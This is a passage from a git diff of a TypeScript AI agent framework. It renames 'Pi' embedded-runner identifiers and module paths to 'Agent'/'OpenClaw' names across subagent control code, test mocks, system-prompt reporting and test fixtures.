isEmbeddedPiRunActiveMock(sessionId), + isEmbeddedAgentRunActive: (sessionId: string) => isEmbeddedAgentRunActiveMock(sessionId), getRuntimeConfig: () => mockConfig, loadSessionStore: (storePath: string) => loadSessionStoreMock(storePath), readSessionMessagesAsync: vi.fn(async () => []), @@ -67,8 +69,8 @@ vi.mock("./subagent-announce.runtime.js", () => ({ resolveAgentIdFromSessionKeyMock(sessionKey), resolveMainSessionKey: (cfg: unknown) => resolveMainSessionKeyMock(cfg), resolveStorePath: (store: unknown, options: unknown) => resolveStorePathMock(store, options), - waitForEmbeddedPiRunEnd: (sessionId: string, timeoutMs?: number) => - waitForEmbeddedPiRunEndMock(sessionId, timeoutMs), + waitForEmbeddedAgentRunEnd: (sessionId: string, timeoutMs?: number) => + waitForEmbeddedAgentRunEndMock(sessionId, timeoutMs), })); vi.mock("./tools/agent-step.js", () => ({ @@ -84,9 +86,9 @@ vi.mock("./subagent-announce-delivery.runtime.js", () => resolveAgentIdFromSessionKeyMock(sessionKey), resolveMainSessionKey: (cfg: unknown) => resolveMainSessionKeyMock(cfg), resolveStorePath: (store: unknown, options: unknown) => resolveStorePathMock(store, options), - isEmbeddedPiRunActive: (sessionId: string) => isEmbeddedPiRunActiveMock(sessionId), - queueEmbeddedPiMessageWithOutcome: (sessionId: string, text: string, options?: unknown) => - queueEmbeddedPiMessageWithOutcomeMock(sessionId, text, options), + isEmbeddedAgentRunActive: (sessionId: string) => isEmbeddedAgentRunActiveMock(sessionId), + queueEmbeddedAgentMessageWithOutcome: (sessionId: string, text: string, options?: unknown) => + queueEmbeddedAgentMessageWithOutcomeMock(sessionId, text, options), }), ); @@ -117,8 +119,8 @@ vi.mock("./subagent-announce-delivery.js", () => ({ params.requesterSessionOrigin?.provider ?? params.requesterSessionOrigin?.channel; - if (sessionId && queueChannel === "discord" && isEmbeddedPiRunActiveMock(sessionId)) { - queueEmbeddedPiMessageWithOutcomeMock( + if (sessionId && queueChannel === "discord" && isEmbeddedAgentRunActiveMock(sessionId)) { + queueEmbeddedAgentMessageWithOutcomeMock( sessionId, `[Internal task completion event]\n${params.triggerMessage}`, { steeringMode: "all" }, @@ -198,7 +200,7 @@ import { applySubagentWaitOutcome } from "./subagent-announce-output.js"; import { runSubagentAnnounceFlow } from "./subagent-announce.js"; function requireQueuedMessageCall() { - const call = queueEmbeddedPiMessageWithOutcomeMock.mock.calls[0]; + const call = queueEmbeddedAgentMessageWithOutcomeMock.mock.calls[0]; if (!call) { throw new Error("expected queued message call"); } @@ -267,14 +269,16 @@ describe("subagent announce seam flow", () => { resolveStorePathMock.mockReset().mockImplementation(() => "/tmp/sessions.json"); resolveMainSessionKeyMock.mockReset().mockImplementation(() => "agent:main:main"); readLatestAssistantReplyMock.mockReset().mockResolvedValue("raw subagent reply"); - isEmbeddedPiRunActiveMock.mockReset().mockReturnValue(false); - queueEmbeddedPiMessageWithOutcomeMock.mockReset().mockImplementation((sessionId: string) => ({ - queued: false, - sessionId, - reason: "not_streaming", - gatewayHealth: "live", - })); - waitForEmbeddedPiRunEndMock.mockReset().mockResolvedValue(true); + isEmbeddedAgentRunActiveMock.mockReset().mockReturnValue(false); + queueEmbeddedAgentMessageWithOutcomeMock + .mockReset() + .mockImplementation((sessionId: string) => ({ + queued: false, + sessionId, + reason: "not_streaming", + gatewayHealth: "live", + })); + waitForEmbeddedAgentRunEndMock.mockReset().mockResolvedValue(true); mockConfig = { session: { mainKey: "main", @@ -381,8 +385,8 @@ describe("subagent announce seam flow", () => { origin: { provider: "discord" }, }, })); - isEmbeddedPiRunActiveMock.mockReturnValue(true); - queueEmbeddedPiMessageWithOutcomeMock.mockImplementation((sessionId: string) => ({ + isEmbeddedAgentRunActiveMock.mockReturnValue(true); + queueEmbeddedAgentMessageWithOutcomeMock.mockImplementation((sessionId: string) => ({ queued: true, sessionId, target: "embedded_run", diff --git a/src/agents/subagent-announce.timeout.test.ts b/src/agents/subagent-announce.timeout.test.ts index bfcff5ee7b2..50a18ee7e3c 100644 --- a/src/agents/subagent-announce.timeout.test.ts +++ b/src/agents/subagent-announce.timeout.test.ts @@ -26,8 +26,10 @@ let requesterDepthResolver: (sessionKey?: string) => number = () => 0; let subagentSessionRunActive = true; let shouldIgnorePostCompletion = false; let pendingDescendantRuns = 0; -const isEmbeddedPiRunActiveMock = vi.fn((_sessionId: string) => false); -const waitForEmbeddedPiRunEndMock = vi.fn(async (_sessionId: string, _timeoutMs?: number) => true); +const isEmbeddedAgentRunActiveMock = vi.fn((_sessionId: string) => false); +const waitForEmbeddedAgentRunEndMock = vi.fn( + async (_sessionId: string, _timeoutMs?: number) => true, +); let fallbackRequesterResolution: { requesterSessionKey: string; requesterOrigin?: { channel?: string; to?: string; accountId?: string }; @@ -87,8 +89,8 @@ vi.mock("./subagent-announce-delivery.runtime.js", () => resolveAgentIdFromSessionKey: () => "main", resolveMainSessionKey: () => "agent:main:main", resolveStorePath: () => "/tmp/sessions-main.json", - isEmbeddedPiRunActive: (sessionId: string) => isEmbeddedPiRunActiveMock(sessionId), - queueEmbeddedPiMessageWithOutcome: (sessionId: string) => ({ + isEmbeddedAgentRunActive: (sessionId: string) => isEmbeddedAgentRunActiveMock(sessionId), + queueEmbeddedAgentMessageWithOutcome: (sessionId: string) => ({ queued: false, sessionId, reason: "not_streaming", @@ -196,9 +198,9 @@ vi.mock("./subagent-announce.runtime.js", () => ({ resolveAgentIdFromSessionKey: () => "main", resolveStorePath: () => "/tmp/sessions-main.json", resolveMainSessionKey: () => "agent:main:main", - isEmbeddedPiRunActive: (sessionId: string) => isEmbeddedPiRunActiveMock(sessionId), - waitForEmbeddedPiRunEnd: (sessionId: string, timeoutMs?: number) => - waitForEmbeddedPiRunEndMock(sessionId, timeoutMs), + isEmbeddedAgentRunActive: (sessionId: string) => isEmbeddedAgentRunActiveMock(sessionId), + waitForEmbeddedAgentRunEnd: (sessionId: string, timeoutMs?: number) => + waitForEmbeddedAgentRunEndMock(sessionId, timeoutMs), })); vi.mock("./subagent-announce.registry.runtime.js", () => ({ countActiveDescendantRuns: () => 0, @@ -293,8 +295,8 @@ describe("subagent announce timeout config", () => { subagentSessionRunActive = true; shouldIgnorePostCompletion = false; pendingDescendantRuns = 0; - isEmbeddedPiRunActiveMock.mockReset().mockReturnValue(false); - waitForEmbeddedPiRunEndMock.mockReset().mockResolvedValue(true); + isEmbeddedAgentRunActiveMock.mockReset().mockReturnValue(false); + waitForEmbeddedAgentRunEndMock.mockReset().mockResolvedValue(true); fallbackRequesterResolution = null; }); diff --git a/src/agents/subagent-announce.ts b/src/agents/subagent-announce.ts index c2aca1beed3..106e714f9b7 100644 --- a/src/agents/subagent-announce.ts +++ b/src/agents/subagent-announce.ts @@ -40,9 +40,9 @@ import { import { callGateway, dispatchGatewayMethodInProcess, - isEmbeddedPiRunActive, + isEmbeddedAgentRunActive, getRuntimeConfig, - waitForEmbeddedPiRunEnd, + waitForEmbeddedAgentRunEnd, } from "./subagent-announce.runtime.js"; import { getSubagentDepthFromSessionStore } from "./subagent-depth.js"; import { deleteSubagentSessionForCleanup } from "./subagent-session-cleanup.js"; @@ -269,9 +269,9 @@ export async function runSubagentAnnounceFlow(params: { const settleTimeoutMs = Math.min(Math.max(params.timeoutMs, 1), 120_000); let reply = params.roundOneReply; let outcome: SubagentRunOutcome | undefined = params.outcome; - if (childSessionId && isEmbeddedPiRunActive(childSessionId)) { - const settled = await waitForEmbeddedPiRunEnd(childSessionId, settleTimeoutMs); - if (!settled && isEmbeddedPiRunActive(childSessionId)) { + if (childSessionId && isEmbeddedAgentRunActive(childSessionId)) { + const settled = await waitForEmbeddedAgentRunEnd(childSessionId, settleTimeoutMs); + if (!settled && isEmbeddedAgentRunActive(childSessionId)) { shouldDeleteChildSession = false; return false; } diff --git a/src/agents/subagent-control.runtime.ts b/src/agents/subagent-control.runtime.ts index bffb3c46024..8563792dc2b 100644 --- a/src/agents/subagent-control.runtime.ts +++ b/src/agents/subagent-control.runtime.ts @@ -1,2 +1,2 @@ export { clearSessionQueues } from "../auto-reply/reply/queue.js"; -export { abortEmbeddedPiRun } from "./pi-embedded-runner/runs.js"; +export { abortEmbeddedAgentRun } from "./embedded-agent-runner/runs.js"; diff --git a/src/agents/subagent-control.test.ts b/src/agents/subagent-control.test.ts index 57c108e8fc9..51197e6759e 100644 --- a/src/agents/subagent-control.test.ts +++ b/src/agents/subagent-control.test.ts @@ -112,7 +112,7 @@ function setSubagentControlDepsForTest( overrides: Parameters[0] = {}, ) { testing.setDepsForTest({ - abortEmbeddedPiRun: () => false, + abortEmbeddedAgentRun: () => false, clearSessionQueues: () => ({ followupCleared: 0, laneCleared: 0, keys: [] }), updateSessionStore: async ( storePath: string, diff --git a/src/agents/subagent-control.ts b/src/agents/subagent-control.ts index 5f8b6137300..4f12121a9b3 100644 --- a/src/agents/subagent-control.ts +++ b/src/agents/subagent-control.ts @@ -50,7 +50,7 @@ const steerRateLimit = new Map(); type GatewayCaller = typeof callGateway; type UpdateSessionStore = typeof updateSessionStore; -type AbortEmbeddedPiRun = (sessionId: string) => boolean; +type AbortEmbeddedAgentRun = (sessionId: string) => boolean; type ClearSessionQueues = (keys: Array) => ClearSessionQueueResult; const defaultSubagentControlDeps = { @@ -61,7 +61,7 @@ const defaultSubagentControlDeps = { let subagentControlDeps: { callGateway: GatewayCaller; updateSessionStore: UpdateSessionStore; - abortEmbeddedPiRun?: AbortEmbeddedPiRun; + abortEmbeddedAgentRun?: AbortEmbeddedAgentRun; clearSessionQueues?: ClearSessionQueues; } = defaultSubagentControlDeps; @@ -74,18 +74,19 @@ function loadSubagentControlRuntime() { } async function resolveSubagentControlRuntime(): Promise<{ - abortEmbeddedPiRun: AbortEmbeddedPiRun; + abortEmbeddedAgentRun: AbortEmbeddedAgentRun; clearSessionQueues: ClearSessionQueues; }> { - if (subagentControlDeps.abortEmbeddedPiRun && subagentControlDeps.clearSessionQueues) { + if (subagentControlDeps.abortEmbeddedAgentRun && subagentControlDeps.clearSessionQueues) { return { - abortEmbeddedPiRun: subagentControlDeps.abortEmbeddedPiRun, + abortEmbeddedAgentRun: subagentControlDeps.abortEmbeddedAgentRun, clearSessionQueues: subagentControlDeps.clearSessionQueues, }; } const runtime = await loadSubagentControlRuntime(); return { - abortEmbeddedPiRun: subagentControlDeps.abortEmbeddedPiRun ?? runtime.abortEmbeddedPiRun, + abortEmbeddedAgentRun: + subagentControlDeps.abortEmbeddedAgentRun ?? runtime.abortEmbeddedAgentRun, clearSessionQueues: subagentControlDeps.clearSessionQueues ?? runtime.clearSessionQueues, }; } @@ -169,7 +170,7 @@ async function killSubagentRun(params: { }); const sessionId = resolved.entry?.sessionId; const runtime = await resolveSubagentControlRuntime(); - const aborted = sessionId ? runtime.abortEmbeddedPiRun(sessionId) : false; + const aborted = sessionId ? runtime.abortEmbeddedAgentRun(sessionId) : false; const cleared = runtime.clearSessionQueues([childSessionKey, sessionId]); if (cleared.followupCleared > 0 || cleared.laneCleared > 0) { logVerbose( @@ -530,7 +531,7 @@ export async function steerControlledSubagentRun(params: { if (sessionId) { const runtime = await resolveSubagentControlRuntime(); - runtime.abortEmbeddedPiRun(sessionId); + runtime.abortEmbeddedAgentRun(sessionId); } const runtime = await resolveSubagentControlRuntime(); const cleared = runtime.clearSessionQueues([params.entry.childSessionKey, sessionId]); @@ -733,7 +734,7 @@ export const testing = { overrides?: Partial<{ callGateway: GatewayCaller; updateSessionStore: UpdateSessionStore; - abortEmbeddedPiRun: AbortEmbeddedPiRun; + abortEmbeddedAgentRun: AbortEmbeddedAgentRun; clearSessionQueues: ClearSessionQueues; }>, ) { diff --git a/src/agents/subagent-registry-lifecycle.test.ts b/src/agents/subagent-registry-lifecycle.test.ts index 37fe4969c56..721ab577652 100644 --- a/src/agents/subagent-registry-lifecycle.test.ts +++ b/src/agents/subagent-registry-lifecycle.test.ts @@ -62,7 +62,7 @@ vi.mock("../browser-lifecycle-cleanup.js", () => ({ browserLifecycleCleanupMocks.cleanupBrowserSessionsForLifecycleEnd, })); -vi.mock("./pi-bundle-mcp-tools.js", () => ({ +vi.mock("./agent-bundle-mcp-tools.js", () => ({ retireSessionMcpRuntimeForSessionKey: bundleMcpRuntimeMocks.retireSessionMcpRuntimeForSessionKey, })); diff --git a/src/agents/subagent-registry-lifecycle.ts b/src/agents/subagent-registry-lifecycle.ts index 718711196e9..294d5434ab9 100644 --- a/src/agents/subagent-registry-lifecycle.ts +++ b/src/agents/subagent-registry-lifecycle.ts @@ -17,12 +17,12 @@ import { resolveRequiredCompletionTerminalResult, } from "../tasks/task-completion-contract.js"; import { normalizeDeliveryContext } from "../utils/delivery-context.shared.js"; +import { retireSessionMcpRuntimeForSessionKey } from "./agent-bundle-mcp-tools.js"; import { buildAnnounceIdFromChildRun, buildAnnounceIdempotencyKey, } from "./announce-idempotency.js"; import { removeInternalSessionEffectsTranscript } from "./internal-session-effects.js"; -import { retireSessionMcpRuntimeForSessionKey } from "./pi-bundle-mcp-tools.js"; import type { SubagentAnnounceDeliveryResult } from "./subagent-announce-dispatch.js"; import { type SubagentRunOutcome, withSubagentOutcomeTiming } from "./subagent-announce-output.js"; import { diff --git a/src/agents/subagent-spawn.workspace.test.ts b/src/agents/subagent-spawn.workspace.test.ts index 6eef6cf5c4f..cc042200e62 100644 --- a/src/agents/subagent-spawn.workspace.test.ts +++ b/src/agents/subagent-spawn.workspace.test.ts @@ -32,17 +32,6 @@ const hoisted = vi.hoisted(() => ({ let spawnSubagentDirect: typeof import("./subagent-spawn.js").spawnSubagentDirect; let resetSubagentRegistryForTests: typeof import("./subagent-registry.js").resetSubagentRegistryForTests; -vi.mock("@earendil-works/pi-ai/oauth", async () => { - const actual = await vi.importActual( - "@earendil-works/pi-ai/oauth", - ); - return { - ...actual, - getOAuthApiKey: () => "", - getOAuthProviders: () => [], - }; -}); - function createConfigOverride(overrides?: Record) { return createSubagentSpawnTestConfig("/tmp/workspace-main", { agents: { diff --git a/src/agents/system-prompt-report.ts b/src/agents/system-prompt-report.ts index d888c74c960..b0f98823e5a 100644 --- a/src/agents/system-prompt-report.ts +++ b/src/agents/system-prompt-report.ts @@ -1,8 +1,8 @@ import { createHash } from "node:crypto"; -import type { AgentTool } from "@earendil-works/pi-agent-core"; import type { SessionSystemPromptReport } from "../config/sessions/types.js"; import { buildBootstrapInjectionStats } from "./bootstrap-budget.js"; -import type { EmbeddedContextFile } from "./pi-embedded-helpers.js"; +import type { EmbeddedContextFile } from "./embedded-agent-helpers.js"; +import type { AgentTool } from "./runtime/index.js"; import type { WorkspaceBootstrapFile } from "./workspace.js"; type ToolReportEntry = SessionSystemPromptReport["tools"]["entries"][number]; @@ -13,42 +13,8 @@ const toolSchemaStatsCache = new WeakMap< Pick >(); -function sha256(value: string): string { - return createHash("sha256").update(value).digest("hex"); -} - -function normalizeForStableHash(value: unknown, seen = new WeakSet()): unknown { - if (typeof value === "bigint") { - return `${value.toString()}n`; - } - if (value && typeof value === "object") { - if (seen.has(value)) { - return "[Circular]"; - } - seen.add(value); - if (Array.isArray(value)) { - const normalized = value.map((entry) => normalizeForStableHash(entry, seen)); - seen.delete(value); - return normalized; - } - const record = value as Record; - const normalized = Object.fromEntries( - Object.keys(record) - .toSorted((left, right) => left.localeCompare(right)) - .map((key) => [key, normalizeForStableHash(record[key], seen)]), - ); - seen.delete(value); - return normalized; - } - return value; -} - -function stableJsonHash(value: unknown): string { - try { - return sha256(JSON.stringify(normalizeForStableHash(value)) ?? "null"); - } catch { - return sha256("[unserializable]"); - } +function sha256(input: string): string { + return createHash("sha256").update(input).digest("hex"); } function extractBetween(input: string, startMarker: string, endMarker: string): string { @@ -80,21 +46,21 @@ function buildToolSchemaStats( parameters: AgentTool["parameters"], ): Pick { if (!parameters || typeof parameters !== "object") { - return { schemaChars: 0, schemaHash: stableJsonHash(null), propertiesCount: null }; + return { schemaChars: 0, schemaHash: sha256(""), propertiesCount: null }; } const cached = toolSchemaStatsCache.get(parameters); if (cached) { return cached; } + let schemaJson = ""; + try { + schemaJson = JSON.stringify(parameters); + } catch { + schemaJson = ""; + } const stats = { - schemaChars: (() => { - try { - return JSON.stringify(parameters).length; - } catch { - return 0; - } - })(), - schemaHash: stableJsonHash(parameters), + schemaChars: schemaJson.length, + schemaHash: sha256(schemaJson), propertiesCount: (() => { const schema = parameters as Record; const props = typeof schema.properties === "object" ? schema.properties : null; @@ -167,9 +133,9 @@ export function buildSystemPromptReport(params: { sandbox: params.sandbox, systemPrompt: { chars: systemPromptChars, + hash: sha256(params.systemPrompt), projectContextChars, nonProjectContextChars: Math.max(0, systemPromptChars - projectContextChars), - hash: sha256(params.systemPrompt), }, ...(params.currentTurn ? { currentTurn: params.currentTurn } : {}), injectedWorkspaceFiles: buildBootstrapInjectionStats({ diff --git a/src/agents/system-prompt.test.ts b/src/agents/system-prompt.test.ts index d44a7b8fe15..72630d9b578 100644 --- a/src/agents/system-prompt.test.ts +++ b/src/agents/system-prompt.test.ts @@ -18,8 +18,8 @@ describe("buildAgentSystemPrompt", () => { it("resolves helper session keys to scoped prompt surfaces", () => { expect(resolveAgentPromptSurfaceForSessionKey("agent:main:subagent:child")).toBe("subagent"); expect(resolveAgentPromptSurfaceForSessionKey("agent:codex:acp:child")).toBe("acp_backend"); - expect(resolveAgentPromptSurfaceForSessionKey("agent:main")).toBe("pi_main"); - expect(resolveAgentPromptSurfaceForSessionKey(undefined)).toBe("pi_main"); + expect(resolveAgentPromptSurfaceForSessionKey("agent:main")).toBe("openclaw_main"); + expect(resolveAgentPromptSurfaceForSessionKey(undefined)).toBe("openclaw_main"); }); it("formats owner section for plain, hash, and missing owner lists", () => { @@ -375,13 +375,13 @@ describe("buildAgentSystemPrompt", () => { expect(prompt).not.toContain("Brave API"); }); - it("keeps the PI empty-tool fallback on the main prompt surface", () => { + it("keeps the OpenClaw empty-tool fallback on the main prompt surface", () => { const prompt = buildAgentSystemPrompt({ workspaceDir: "/tmp/openclaw", toolNames: [], }); - expect(prompt).toContain("Pi lists the standard tools above"); + expect(prompt).toContain("OpenClaw lists the standard tools above"); expect(prompt).toContain("- sessions_spawn: spawn an isolated sub-agent session"); }); diff --git a/src/agents/system-prompt.ts b/src/agents/system-prompt.ts index dab75fb3928..a3fef656551 100644 --- a/src/agents/system-prompt.ts +++ b/src/agents/system-prompt.ts @@ -27,11 +27,11 @@ import { buildLimitedBootstrapPromptLines, } from "./bootstrap-prompt.js"; import type { ResolvedTimeFormat } from "./date-time.js"; -import type { EmbeddedContextFile } from "./pi-embedded-helpers.js"; +import type { EmbeddedContextFile } from "./embedded-agent-helpers.js"; import type { EmbeddedFullAccessBlockedReason, EmbeddedSandboxInfo, -} from "./pi-embedded-runner/types.js"; +} from "./embedded-agent-runner/types.js"; import { normalizePromptCapabilityIds, normalizeStructuredPromptSection, @@ -706,7 +706,7 @@ export function buildAgentSystemPrompt(params: { subagentDelegationMode?: SubagentDelegationMode; /** Whether ACP-specific routing guidance should be included. Defaults to true. */ acpEnabled?: boolean; - /** Prompt surface controls runtime-specific fallback fragments. Defaults to PI main. */ + /** Prompt surface controls runtime-specific fallback fragments. Defaults to OpenClaw main. */ promptSurface?: AgentPromptSurfaceKind; /** Registered runtime slash/native command names such as `codex`. */ nativeCommandNames?: string[]; @@ -740,7 +740,7 @@ export function buildAgentSystemPrompt(params: { promptContribution?: ProviderSystemPromptContribution; }) { const acpEnabled = params.acpEnabled === true; - const promptSurface = params.promptSurface ?? "pi_main"; + const promptSurface = params.promptSurface ?? "openclaw_main"; const sandboxedRuntime = params.sandboxInfo?.enabled === true; const acpSpawnRuntimeEnabled = acpEnabled && !sandboxedRuntime; const coreToolSummaries: Record = { diff --git a/src/agents/test-helpers/agent-message-fixtures.ts b/src/agents/test-helpers/agent-message-fixtures.ts index 64be4a0bebd..dac2410472e 100644 --- a/src/agents/test-helpers/agent-message-fixtures.ts +++ b/src/agents/test-helpers/agent-message-fixtures.ts @@ -1,5 +1,5 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { AssistantMessage, UserMessage } from "@earendil-works/pi-ai"; +import type { AssistantMessage, UserMessage } from "openclaw/plugin-sdk/llm"; +import type { AgentMessage } from "../runtime/index.js"; import { ZERO_USAGE_FIXTURE } from "./usage-fixtures.js"; export function castAgentMessage(message: unknown): AgentMessage { diff --git a/src/agents/test-helpers/pi-coding-agent-token-mock.ts b/src/agents/test-helpers/agent-session-token-mock.ts similarity index 71% rename from src/agents/test-helpers/pi-coding-agent-token-mock.ts rename to src/agents/test-helpers/agent-session-token-mock.ts index ea978bc2a26..1d4d66dec86 100644 --- a/src/agents/test-helpers/pi-coding-agent-token-mock.ts +++ b/src/agents/test-helpers/agent-session-token-mock.ts @@ -1,6 +1,6 @@ import { vi } from "vitest"; -const piCodingAgentTokenMocks = vi.hoisted(() => { +const agentSessionTokenMocks = vi.hoisted(() => { function readText(value: unknown): string { if (typeof value === "string") { return value; @@ -24,12 +24,12 @@ const piCodingAgentTokenMocks = vi.hoisted(() => { }; }); -vi.mock("@earendil-works/pi-coding-agent", async () => { - const actual = await vi.importActual( - "@earendil-works/pi-coding-agent", +vi.mock("openclaw/plugin-sdk/agent-sessions", async () => { + const actual = await vi.importActual( + "openclaw/plugin-sdk/agent-sessions", ); return { ...actual, - estimateTokens: piCodingAgentTokenMocks.estimateTokens, + estimateTokens: agentSessionTokenMocks.estimateTokens, }; }); diff --git a/src/agents/test-helpers/pi-tool-stubs.ts b/src/agents/test-helpers/agent-tool-stubs.ts similarity index 75% rename from src/agents/test-helpers/pi-tool-stubs.ts rename to src/agents/test-helpers/agent-tool-stubs.ts index 746fc8830da..d3c25b29f0b 100644 --- a/src/agents/test-helpers/pi-tool-stubs.ts +++ b/src/agents/test-helpers/agent-tool-stubs.ts @@ -1,5 +1,5 @@ -import type { AgentTool, AgentToolResult } from "@earendil-works/pi-agent-core"; import { Type } from "typebox"; +import type { AgentTool, AgentToolResult } from "../runtime/index.js"; export function createStubTool(name: string): AgentTool { return { diff --git a/src/agents/test-helpers/pi-tools-fs-helpers.ts b/src/agents/test-helpers/agent-tools-fs-helpers.ts similarity index 100% rename from src/agents/test-helpers/pi-tools-fs-helpers.ts rename to src/agents/test-helpers/agent-tools-fs-helpers.ts diff --git a/src/agents/test-helpers/pi-tools-sandbox-context.test.ts b/src/agents/test-helpers/agent-tools-sandbox-context.test.ts similarity index 82% rename from src/agents/test-helpers/pi-tools-sandbox-context.test.ts rename to src/agents/test-helpers/agent-tools-sandbox-context.test.ts index 63e09b6f7c6..dfdbcc9e80a 100644 --- a/src/agents/test-helpers/pi-tools-sandbox-context.test.ts +++ b/src/agents/test-helpers/agent-tools-sandbox-context.test.ts @@ -1,9 +1,9 @@ import { describe, expect, it } from "vitest"; -import { createPiToolsSandboxContext } from "./pi-tools-sandbox-context.js"; +import { createAgentToolsSandboxContext } from "./agent-tools-sandbox-context.js"; -describe("createPiToolsSandboxContext", () => { - it("provides stable defaults for pi-tools sandbox tests", () => { - const sandbox = createPiToolsSandboxContext({ +describe("createAgentToolsSandboxContext", () => { + it("provides stable defaults for agent-tools sandbox tests", () => { + const sandbox = createAgentToolsSandboxContext({ workspaceDir: "/tmp/sandbox", }); @@ -21,7 +21,7 @@ describe("createPiToolsSandboxContext", () => { }); it("applies provided overrides", () => { - const sandbox = createPiToolsSandboxContext({ + const sandbox = createAgentToolsSandboxContext({ workspaceDir: "/tmp/sandbox", agentWorkspaceDir: "/tmp/workspace", workspaceAccess: "ro", diff --git a/src/agents/test-helpers/pi-tools-sandbox-context.ts b/src/agents/test-helpers/agent-tools-sandbox-context.ts similarity index 90% rename from src/agents/test-helpers/pi-tools-sandbox-context.ts rename to src/agents/test-helpers/agent-tools-sandbox-context.ts index abf712c2c0b..7bb4260f4fe 100644 --- a/src/agents/test-helpers/pi-tools-sandbox-context.ts +++ b/src/agents/test-helpers/agent-tools-sandbox-context.ts @@ -1,7 +1,7 @@ import type { SandboxContext, SandboxToolPolicy, SandboxWorkspaceAccess } from "../sandbox.js"; import type { SandboxFsBridge } from "../sandbox/fs-bridge.js"; -type PiToolsSandboxContextParams = { +type AgentToolsSandboxContextParams = { workspaceDir: string; agentWorkspaceDir?: string; workspaceAccess?: SandboxWorkspaceAccess; @@ -14,7 +14,9 @@ type PiToolsSandboxContextParams = { dockerOverrides?: Partial; }; -export function createPiToolsSandboxContext(params: PiToolsSandboxContextParams): SandboxContext { +export function createAgentToolsSandboxContext( + params: AgentToolsSandboxContextParams, +): SandboxContext { const workspaceDir = params.workspaceDir; return { enabled: true, diff --git a/src/agents/test-helpers/assistant-message-fixtures.ts b/src/agents/test-helpers/assistant-message-fixtures.ts index a95624266f2..682751ab45f 100644 --- a/src/agents/test-helpers/assistant-message-fixtures.ts +++ b/src/agents/test-helpers/assistant-message-fixtures.ts @@ -1,4 +1,4 @@ -import type { AssistantMessage } from "@earendil-works/pi-ai"; +import type { AssistantMessage } from "openclaw/plugin-sdk/llm"; import { ZERO_USAGE_FIXTURE } from "./usage-fixtures.js"; export function makeAssistantMessageFixture( diff --git a/src/agents/test-helpers/pi-embedded-runner-e2e-fixtures.ts b/src/agents/test-helpers/embedded-agent-runner-e2e-fixtures.ts similarity index 86% rename from src/agents/test-helpers/pi-embedded-runner-e2e-fixtures.ts rename to src/agents/test-helpers/embedded-agent-runner-e2e-fixtures.ts index ffb3d57d6ec..c34c67d28c1 100644 --- a/src/agents/test-helpers/pi-embedded-runner-e2e-fixtures.ts +++ b/src/agents/test-helpers/embedded-agent-runner-e2e-fixtures.ts @@ -1,20 +1,20 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import type { AssistantMessage } from "@earendil-works/pi-ai"; +import type { AssistantMessage } from "openclaw/plugin-sdk/llm"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; -import { buildAttemptReplayMetadata } from "../pi-embedded-runner/run/incomplete-turn.js"; -import type { EmbeddedRunAttemptResult } from "../pi-embedded-runner/run/types.js"; +import { buildAttemptReplayMetadata } from "../embedded-agent-runner/run/incomplete-turn.js"; +import type { EmbeddedRunAttemptResult } from "../embedded-agent-runner/run/types.js"; -export type EmbeddedPiRunnerTestWorkspace = { +export type EmbeddedAgentRunnerTestWorkspace = { tempRoot: string; agentDir: string; workspaceDir: string; }; -export async function createEmbeddedPiRunnerTestWorkspace( +export async function createEmbeddedAgentRunnerTestWorkspace( prefix: string, -): Promise { +): Promise { const tempRoot = await fs.mkdtemp(path.join(os.tmpdir(), prefix)); const agentDir = path.join(tempRoot, "agent"); const workspaceDir = path.join(tempRoot, "workspace"); @@ -23,8 +23,8 @@ export async function createEmbeddedPiRunnerTestWorkspace( return { tempRoot, agentDir, workspaceDir }; } -export async function cleanupEmbeddedPiRunnerTestWorkspace( - workspace: EmbeddedPiRunnerTestWorkspace | undefined, +export async function cleanupEmbeddedAgentRunnerTestWorkspace( + workspace: EmbeddedAgentRunnerTestWorkspace | undefined, ): Promise { if (!workspace) { return; @@ -32,7 +32,7 @@ export async function cleanupEmbeddedPiRunnerTestWorkspace( await fs.rm(workspace.tempRoot, { recursive: true, force: true }); } -export function createEmbeddedPiRunnerOpenAiConfig(modelIds: string[]): OpenClawConfig { +export function createEmbeddedAgentRunnerOpenAiConfig(modelIds: string[]): OpenClawConfig { return { models: { providers: { diff --git a/src/agents/test-helpers/pi-embedded-runner-e2e-mocks.ts b/src/agents/test-helpers/embedded-agent-runner-e2e-mocks.ts similarity index 95% rename from src/agents/test-helpers/pi-embedded-runner-e2e-mocks.ts rename to src/agents/test-helpers/embedded-agent-runner-e2e-mocks.ts index 43285a171ce..0d7627720e9 100644 --- a/src/agents/test-helpers/pi-embedded-runner-e2e-mocks.ts +++ b/src/agents/test-helpers/embedded-agent-runner-e2e-mocks.ts @@ -55,12 +55,12 @@ export function installEmbeddedRunnerFastRunE2eMocks( ): void { vi.doMock("../harness/selection.js", () => ({ selectAgentHarness: vi.fn((params: { provider?: string }) => ({ - id: params.provider === "codex-cli" ? "codex" : "pi", + id: params.provider === "codex-cli" ? "codex" : "openclaw", label: "Mock agent harness", supports: vi.fn(() => ({ supported: false })), runAttempt: vi.fn(), })), - resolveAgentHarnessPolicy: vi.fn(() => ({ runtime: "pi" })), + resolveAgentHarnessPolicy: vi.fn(() => ({ runtime: "openclaw" })), runAgentHarnessAttempt: (params: unknown) => options.runEmbeddedAttempt(params), })); vi.doMock("../runtime-plan/build.js", () => ({ @@ -131,11 +131,10 @@ export function installEmbeddedRunnerFastRunE2eMocks( }), ), })); - vi.doMock("../pi-embedded-runner/run/attempt.js", () => ({ + vi.doMock("../embedded-agent-runner/run/attempt.js", () => ({ runEmbeddedAttempt: (params: unknown) => options.runEmbeddedAttempt(params), })); vi.doMock("../../plugins/provider-runtime.js", () => ({ - applyProviderResolvedModelCompatWithPlugins: vi.fn(() => undefined), applyProviderResolvedTransportWithPlugin: vi.fn(() => undefined), buildProviderMissingAuthMessageWithPlugin: vi.fn(() => undefined), buildProviderUnknownModelHintWithPlugin: vi.fn(() => undefined), diff --git a/src/agents/test-helpers/provider-alias-cases.ts b/src/agents/test-helpers/provider-alias-cases.ts deleted file mode 100644 index 1562e868b7d..00000000000 --- a/src/agents/test-helpers/provider-alias-cases.ts +++ /dev/null @@ -1,15 +0,0 @@ -export const providerAliasCases = [ - ["bedrock", "amazon-bedrock"], - ["aws-bedrock", "amazon-bedrock"], - ["modelstudio", "qwen"], - ["qwencloud", "qwen"], - ["z.ai", "zai"], - ["z-ai", "zai"], - ["kimi", "kimi"], - ["kimi-code", "kimi"], - ["kimi-coding", "kimi"], - ["bytedance", "volcengine"], - ["doubao", "volcengine"], - ["opencode-zen", 